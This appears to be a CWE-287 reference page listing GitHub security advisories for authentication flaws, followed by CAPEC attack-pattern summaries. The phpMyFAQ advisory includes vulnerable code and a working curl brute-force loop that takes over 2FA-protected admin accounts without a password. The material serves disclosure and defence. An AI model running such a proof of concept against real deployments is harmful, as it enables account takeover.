CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
6877 vulnerabilities reference this CWE, most recent first.
GHSA-8G4R-WJ58-M98X
Vulnerability from github – Published: 2026-07-24 03:31 – Updated: 2026-07-24 03:31Improper authentication in Azure Key Vault allows an unauthorized attacker to elevate privileges over a network.
{
"affected": [],
"aliases": [
"CVE-2026-62825"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-24T01:17:47Z",
"severity": "CRITICAL"
},
"details": "Improper authentication in Azure Key Vault allows an unauthorized attacker to elevate privileges over a network.",
"id": "GHSA-8g4r-wj58-m98x",
"modified": "2026-07-24T03:31:55Z",
"published": "2026-07-24T03:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62825"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-62825"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8G6H-GRF2-7GRG
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37In S+ Operations and S+ History, it is possible that an unauthenticated user could inject values to the Operations History server (or standalone S+ History server) and ultimately write values to the controlled process.
{
"affected": [],
"aliases": [
"CVE-2020-24675"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-22T22:15:00Z",
"severity": "CRITICAL"
},
"details": "In S+ Operations and S+ History, it is possible that an unauthenticated user could inject values to the Operations History server (or standalone S+ History server) and ultimately write values to the controlled process.",
"id": "GHSA-8g6h-grf2-7grg",
"modified": "2022-05-24T17:37:02Z",
"published": "2022-05-24T17:37:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24675"
},
{
"type": "WEB",
"url": "https://search.abb.com/library/Download.aspx?DocumentID=2PAA123980\u0026LanguageCode=en\u0026DocumentPartId=\u0026Action=Launch"
},
{
"type": "WEB",
"url": "https://search.abb.com/library/Download.aspx?DocumentID=2PAA123982\u0026LanguageCode=en\u0026DocumentPartId=\u0026Action=Launch"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8G6P-72JW-R627
Vulnerability from github – Published: 2022-05-06 00:00 – Updated: 2022-05-14 00:03SchedMD Slurm 21.08.x through 20.11.x has Incorrect Access Control that leads to Information Disclosure.
{
"affected": [],
"aliases": [
"CVE-2022-29500"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-05T17:15:00Z",
"severity": "HIGH"
},
"details": "SchedMD Slurm 21.08.x through 20.11.x has Incorrect Access Control that leads to Information Disclosure.",
"id": "GHSA-8g6p-72jw-r627",
"modified": "2022-05-14T00:03:32Z",
"published": "2022-05-06T00:00:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29500"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HXLOI3ERTKMZR2KWNRN7OR5S55VPWENH"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/Y6B7OWVNVCJUDE6VDWGCBUWMRCRETAO3"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YBI4NFDGGMBKWG4EMSZL5UHATDCLPCQW"
},
{
"type": "WEB",
"url": "https://lists.schedmd.com/pipermail/slurm-announce"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2022/dsa-5166"
},
{
"type": "WEB",
"url": "https://www.schedmd.com/news.php"
},
{
"type": "WEB",
"url": "https://www.schedmd.com/news.php?id=260"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8G89-7PPH-HVR4
Vulnerability from github – Published: 2022-05-01 06:41 – Updated: 2022-05-01 06:41The make_password function in ipsclass.php in Invision Power Board (IPB) 2.1.4 uses random data generated from partially predictable seeds to create the authentication code that is sent by e-mail to a user with a lost password, which might make it easier for remote attackers to guess the code and change the password for an IPB account, possibly involving millions of requests.
{
"affected": [],
"aliases": [
"CVE-2006-0633"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-02-10T11:02:00Z",
"severity": "MODERATE"
},
"details": "The make_password function in ipsclass.php in Invision Power Board (IPB) 2.1.4 uses random data generated from partially predictable seeds to create the authentication code that is sent by e-mail to a user with a lost password, which might make it easier for remote attackers to guess the code and change the password for an IPB account, possibly involving millions of requests.",
"id": "GHSA-8g89-7pph-hvr4",
"modified": "2022-05-01T06:41:35Z",
"published": "2022-05-01T06:41:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-0633"
},
{
"type": "WEB",
"url": "http://forums.invisionpower.com/lofiversion/index.php/t200085.html"
},
{
"type": "WEB",
"url": "http://www.r-security.net/tutorials/view/readtutorial.php?id=4"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8G8P-P3XC-4FJM
Vulnerability from github – Published: 2022-05-17 03:33 – Updated: 2022-05-17 03:33Sauter EY-WS505F0x0 moduWeb Vision before 1.6.0 allows remote attackers to bypass authentication by leveraging knowledge of a password hash without knowledge of the associated password.
{
"affected": [],
"aliases": [
"CVE-2015-7914"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-02-06T05:59:00Z",
"severity": "HIGH"
},
"details": "Sauter EY-WS505F0x0 moduWeb Vision before 1.6.0 allows remote attackers to bypass authentication by leveraging knowledge of a password hash without knowledge of the associated password.",
"id": "GHSA-8g8p-p3xc-4fjm",
"modified": "2022-05-17T03:33:04Z",
"published": "2022-05-17T03:33:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-7914"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-033-01"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2016/Feb/25"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8GF9-RQHR-7HP3
Vulnerability from github – Published: 2022-05-24 17:02 – Updated: 2024-04-04 02:41beegfs-ctl in ThinkParQ BeeGFS through 7.1.3 allows Authentication Bypass via communication with a BeeGFS metadata server (which is typically not exposed to external networks).
{
"affected": [],
"aliases": [
"CVE-2019-15897"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-12-05T16:15:00Z",
"severity": "CRITICAL"
},
"details": "beegfs-ctl in ThinkParQ BeeGFS through 7.1.3 allows Authentication Bypass via communication with a BeeGFS metadata server (which is typically not exposed to external networks).",
"id": "GHSA-8gf9-rqhr-7hp3",
"modified": "2024-04-04T02:41:55Z",
"published": "2022-05-24T17:02:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15897"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/Dec/7"
},
{
"type": "WEB",
"url": "https://www.hpcsec.com/2019/12/04/cve-2019-15897"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/155573/BeeGFS-7.1.3-Privilege-Escalation.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8GGH-RX5R-H3JX
Vulnerability from github – Published: 2023-08-03 18:30 – Updated: 2024-04-04 06:31An authentication bypass vulnerability exists in Suprema BioStar 2 before 2.9.1, which allows unauthenticated users to access some functionality on BioStar 2 servers.
{
"affected": [],
"aliases": [
"CVE-2023-33363"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-03T16:15:11Z",
"severity": "HIGH"
},
"details": "An authentication bypass vulnerability exists in Suprema BioStar 2 before 2.9.1, which allows unauthenticated users to access some functionality on BioStar 2 servers.",
"id": "GHSA-8ggh-rx5r-h3jx",
"modified": "2024-04-04T06:31:52Z",
"published": "2023-08-03T18:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33363"
},
{
"type": "WEB",
"url": "https://claroty.com/team82/disclosure-dashboard/cve-2023-33363"
},
{
"type": "WEB",
"url": "https://kb.supremainc.com/knowledge/doku.php?id=en:release_note_291"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8GPW-XVPF-HVX5
Vulnerability from github – Published: 2026-09-24 19:29 – Updated: 2026-09-24 19:29Summary
The public two-factor verification endpoint POST /check logs a user in based solely on a valid
6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior
successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker
can authenticate without knowing the password, reducing the account to a single factor (a 6-digit
code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an
authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.
Details
src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:
#[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
if ($this->currentUser->isLoggedIn()) {
return new RedirectResponse(url: './');
}
$token = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);
$userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);
if ($userId <= 0) { /* ... */ }
$this->currentUserService->getUserById($userId); // loads attacker-chosen user
if (strlen((string) $token) === 6) {
$result = $this->twoFactor->validateToken($token, $userId);
if ($result) {
$this->currentUserService->twoFactorSuccess(); // full login, no password ever checked
return new RedirectResponse(url: './');
}
}
// ...
}
twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):
public function twoFactorSuccess(): bool
{
$this->setLoggedIn(true);
$this->updateSessionId(true);
$this->saveToSession();
$this->setSuccess(true);
return true;
}
There is no server-side state (such as a "password already verified for this user" flag) tying the
/check step to the password step. Compare the admin flow, which does it correctly via a
2fa_pending_user_id session value set only after the password is validated
(src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262) — proving the frontend
omission is a regression, not an intended design.
validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret,
so this is not a universal bypass of all accounts — it specifically defeats the password factor of
every 2FA-enabled account:
public function validateToken(string $token, int $userId): bool
{
if (strlen($token) !== 6 || $userId <= 0) { return false; }
$this->currentUser->getUserById($userId);
$secret = $this->currentUser->getUserData('secret');
if (!is_string($secret) || $secret === '') { return false; } // no 2FA -> false
return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only
}
Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default
(Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to
strengthen the password, becomes the only barrier and is independently guessable.
PoC
Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows
or enumerates the numeric user-id (1 = first/admin account in default installs).
# No password required. Submit user-id + a 6-digit TOTP guess to /check.
# Iterate the token space; the session cookie returned on success is an authenticated session.
for code in $(seq -w 0 999999); do
curl -ks -c jar.txt -b jar.txt \
-X POST "https://target/check" \
--data-urlencode "user-id=1" \
--data-urlencode "token=$(printf '%06d' 10#$code)" \
-o /dev/null -w "%{http_code} %{redirect_url}\n" \
| grep -q './' && echo "[+] logged in with token $code" && break
done
# A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used).
If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all.
Impact
Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "4.1.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "phpmyfaq/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "4.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56737"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-24T19:29:27Z",
"nvd_published_at": "2026-09-24T16:17:07Z",
"severity": "HIGH"
},
"details": "### Summary\nThe public two-factor verification endpoint `POST /check` logs a user in based **solely** on a valid\n6-digit TOTP token and a chosen `user-id`. It does **not** require \u2014 and is not bound to \u2014 a prior\nsuccessful password authentication. For any account that has 2FA enabled, an unauthenticated attacker\ncan authenticate **without knowing the password**, reducing the account to a single factor (a 6-digit\ncode) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an\nauthentication bypass of the primary credential for all 2FA-protected accounts, including administrators.\n\n### Details\n`src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283`:\n\n```php\n#[Route(path: \u0027/check\u0027, name: \u0027public.auth.check\u0027, methods: [\u0027POST\u0027])]\npublic function check(Request $request): RedirectResponse\n{\n if ($this-\u003ecurrentUser-\u003eisLoggedIn()) {\n return new RedirectResponse(url: \u0027./\u0027);\n }\n\n $token = Filter::filterVar($request-\u003erequest-\u003eget(\u0027token\u0027), FILTER_SANITIZE_SPECIAL_CHARS);\n $userId = (int) Filter::filterVar($request-\u003erequest-\u003eget(\u0027user-id\u0027), FILTER_VALIDATE_INT);\n\n if ($userId \u003c= 0) { /* ... */ }\n\n $this-\u003ecurrentUserService-\u003egetUserById($userId); // loads attacker-chosen user\n\n if (strlen((string) $token) === 6) {\n $result = $this-\u003etwoFactor-\u003evalidateToken($token, $userId);\n if ($result) {\n $this-\u003ecurrentUserService-\u003etwoFactorSuccess(); // full login, no password ever checked\n return new RedirectResponse(url: \u0027./\u0027);\n }\n }\n // ...\n}\n```\n\n`twoFactorSuccess()` performs a complete session login (`src/phpMyFAQ/User/CurrentUser.php:239-247`):\n\n```php\npublic function twoFactorSuccess(): bool\n{\n $this-\u003esetLoggedIn(true);\n $this-\u003eupdateSessionId(true);\n $this-\u003esaveToSession();\n $this-\u003esetSuccess(true);\n return true;\n}\n```\n\nThere is **no server-side state** (such as a \"password already verified for this user\" flag) tying the\n`/check` step to the password step. Compare the admin flow, which does it correctly via a\n`2fa_pending_user_id` session value set only **after** the password is validated\n(`src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262`) \u2014 proving the frontend\nomission is a regression, not an intended design.\n\n`validateToken()` (`src/phpMyFAQ/User/TwoFactor.php:87-101`) returns `false` when the user has no secret,\nso this is *not* a universal bypass of all accounts \u2014 it specifically defeats the **password factor of\nevery 2FA-enabled account**:\n\n```php\npublic function validateToken(string $token, int $userId): bool\n{\n if (strlen($token) !== 6 || $userId \u003c= 0) { return false; }\n $this-\u003ecurrentUser-\u003egetUserById($userId);\n $secret = $this-\u003ecurrentUser-\u003egetUserData(\u0027secret\u0027);\n if (!is_string($secret) || $secret === \u0027\u0027) { return false; } // no 2FA -\u003e false\n return $this-\u003etwoFactorAuth-\u003everifyCode($secret, $token); // 6-digit TOTP only\n}\n```\n\nBecause `/check` has no failed-attempt lockout and the per-account login throttle is disabled by default\n(Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to\n*strengthen* the password, becomes the *only* barrier and is independently guessable.\n\n### PoC\nPre-req: a target account (e.g. `admin`) has 2FA enabled (a common hardening choice). The attacker knows\nor enumerates the numeric `user-id` (1 = first/admin account in default installs).\n\n```bash\n# No password required. Submit user-id + a 6-digit TOTP guess to /check.\n# Iterate the token space; the session cookie returned on success is an authenticated session.\nfor code in $(seq -w 0 999999); do\n curl -ks -c jar.txt -b jar.txt \\\n -X POST \"https://target/check\" \\\n --data-urlencode \"user-id=1\" \\\n --data-urlencode \"token=$(printf \u0027%06d\u0027 10#$code)\" \\\n -o /dev/null -w \"%{http_code} %{redirect_url}\\n\" \\\n | grep -q \u0027./\u0027 \u0026\u0026 echo \"[+] logged in with token $code\" \u0026\u0026 break\ndone\n# A successful guess yields a logged-in session in jar.txt -\u003e full account takeover (no password used).\n```\nIf the attacker already controls or has phished the victim\u0027s TOTP device, a single request authenticates\nwith no password at all.\n\n### Impact\nAuthentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password \u2014\nthe primary credential \u2014 is never required for any 2FA-enabled account. Combined with the absent lockout,\nthis enables full account takeover of users and administrators. Impacted: any deployment where users\nenable two-factor authentication.",
"id": "GHSA-8gpw-xvpf-hvx5",
"modified": "2026-09-24T19:29:28Z",
"published": "2026-09-24T19:29:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56737"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ\u0027s two-factor authentication login bypasses the password factor"
}
GHSA-8GQJ-226H-GM8R
Vulnerability from github – Published: 2025-05-06 21:18 – Updated: 2025-05-07 15:34Overview
This vulnerability allows an attacker to impersonate any user during SAML authentication by tampering with a valid SAML response. This can be done by adding attributes to the response.
Am I Affected?
You are affected by this SAML Attribute Smuggling vulnerability if you are using passport-wsfed-saml2 version 4.6.3 or below, specifically under the following conditions:
1. The service provider is using passport-wsfed-saml2,
2. A valid SAML Response signed by the Identity Provider can be obtained
Fix
Upgrade to v4.6.4 or greater.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.3"
},
"package": {
"ecosystem": "npm",
"name": "passport-wsfed-saml2"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.5"
},
{
"fixed": "4.6.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-46573"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-290"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-06T21:18:49Z",
"nvd_published_at": "2025-05-06T21:16:20Z",
"severity": "HIGH"
},
"details": "### Overview\nThis vulnerability allows an attacker to impersonate any user during SAML authentication by tampering with a valid SAML response. This can be done by adding attributes to the response.\n\n### Am I Affected?\nYou are affected by this SAML Attribute Smuggling vulnerability if you are using `passport-wsfed-saml2` version 4.6.3 or below, specifically under the following conditions:\n1. The service provider is using `passport-wsfed-saml2`, \n2. A valid SAML Response signed by the Identity Provider can be obtained\n\n### Fix\nUpgrade to v4.6.4 or greater.",
"id": "GHSA-8gqj-226h-gm8r",
"modified": "2025-05-07T15:34:30Z",
"published": "2025-05-06T21:18:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/auth0/passport-wsfed-saml2/security/advisories/GHSA-8gqj-226h-gm8r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46573"
},
{
"type": "WEB",
"url": "https://github.com/auth0/passport-wsfed-saml2/commit/e5cf3cc2a53748207f7a81bfba9195c8efa94181"
},
{
"type": "PACKAGE",
"url": "https://github.com/auth0/passport-wsfed-saml2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Passport-wsfed-saml2 allows SAML Authentication Bypass via Attribute Smuggling"
}
GHSA-8GVC-Q69P-8GGR
Vulnerability from github – Published: 2025-04-22 03:30 – Updated: 2025-04-22 03:30A vulnerability, which was classified as problematic, has been found in YXJ2018 SpringBoot-Vue-OnlineExam 1.0. This issue affects some unknown processing of the component API. The manipulation leads to improper authentication. The attack may be initiated remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-3850"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-22T01:15:18Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, has been found in YXJ2018 SpringBoot-Vue-OnlineExam 1.0. This issue affects some unknown processing of the component API. The manipulation leads to improper authentication. The attack may be initiated remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-8gvc-q69p-8ggr",
"modified": "2025-04-22T03:30:26Z",
"published": "2025-04-22T03:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3850"
},
{
"type": "WEB",
"url": "https://github.com/YXJ2018/SpringBoot-Vue-OnlineExam/issues/73"
},
{
"type": "WEB",
"url": "https://github.com/YXJ2018/SpringBoot-Vue-OnlineExam/issues/75"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.305777"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.305777"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.556284"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.